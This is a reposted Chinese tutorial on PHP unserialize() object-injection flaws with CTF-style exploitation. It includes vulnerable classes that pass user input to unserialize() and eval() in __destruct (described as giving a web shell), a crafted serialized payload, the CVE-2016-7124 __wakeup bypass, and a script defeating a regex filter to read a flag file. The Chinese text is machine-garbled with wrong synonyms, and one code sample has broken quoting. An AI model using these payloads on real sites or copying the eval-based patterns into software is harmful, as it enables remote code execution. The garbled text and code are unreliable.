加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程 > 正文

详解php反序列化

发布时间:2020-06-16 21:14:43 所属栏目:编程 来源:站长网
导读:副问题#e# 最近也是在温习之前学过的内容,感受对PHP反序列化的领略越发深了,以是在此总结一下 2 serialize()函数 “全部php内里的值都可以行使函数serialize()来返回一个包括字节约的字符串来暗示。序列化一个工具将会生涯工具的全部变量,可是不会生涯对

当用户的哀求在传给反序列化函数unserialize()之前没有被正确的过滤时就会发生裂痕。由于PHP应承工具序列化,进攻者就可以提交特定的序列化的字符串给一个具有该裂痕的unserialize函数,最终导致一个在该应用范畴内的恣意PHP工具注入。

工具裂痕呈现得满意两个条件:

一、unserialize的参数可控。 

二、 代码里有界说一个含有把戏要领的类,而且该要领里呈现一些行使类成员变量作为参数的存在安详题目的函数。
下面来举个例子:

<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>

好比这个列子,直接是用户天生的内容转达给unserialize()函数,那就可以结构这样的语句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在剧本运行竣事后便会挪用_destruct函数,同时会包围test变量输出lemon。

详解php反序列化

发明这个裂痕,便可以操作这个裂痕点节制输入变量,拼接成一个序列化工具。

再看一个例子:

<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中挪用eval执行序列化工具中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 结构序列化工具 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>

着实细心调查就会发明,着实我们手动结构序列化工具就是为了unserialize()函数可以或许触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

以是我们操作这个裂痕点便可以获取web shell了

详解php反序列化

6  绕过邪术函数的反序列化

wakeup()邪术函数绕过

PHP5<5.6.25 PHP7<7.0.10

PHP反序列化裂痕CVE-2016-7124

#a#重点:当反序列化字符串中,暗示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

详解php反序列化

着实细心说明代码,只要我们能绕过两点即可获得f15g_1s_here.php的内容

(1)绕过正则表达式对变量的搜查
    (2)绕过_wakeup()邪术函数,由于假如我们反序列化的不是Gu3ss_m3_h2h2.php,这个邪术函数在反序列化时会触发并逼迫转成Gu3ss_m3_h2h2.php

那么题目就来了,假如绕过正则表达式
(1)/[oc]:d+:/i,譬喻:o:4:这样就会被匹配到,而绕过也很简朴,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()邪术函数,上面提到了当反序列化字符串中,暗示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化剧本

<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先建设一个工具,自动挪用__construct邪术函数 $obj = new Demo('f15g_1s_here.php'); #举办序列化 $a = serialize($obj); #行使str_replace() 函数举办替代,来绕过正则表达式的搜查 $a = str_replace('O:4:','O:+4:',$a); #行使str_replace() 函数举办替代,来绕过__wakeup()邪术函数 $a = str_replace(':1:',':2:',$a); #再举办base64编码 echo base64_encode($a); ?>

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读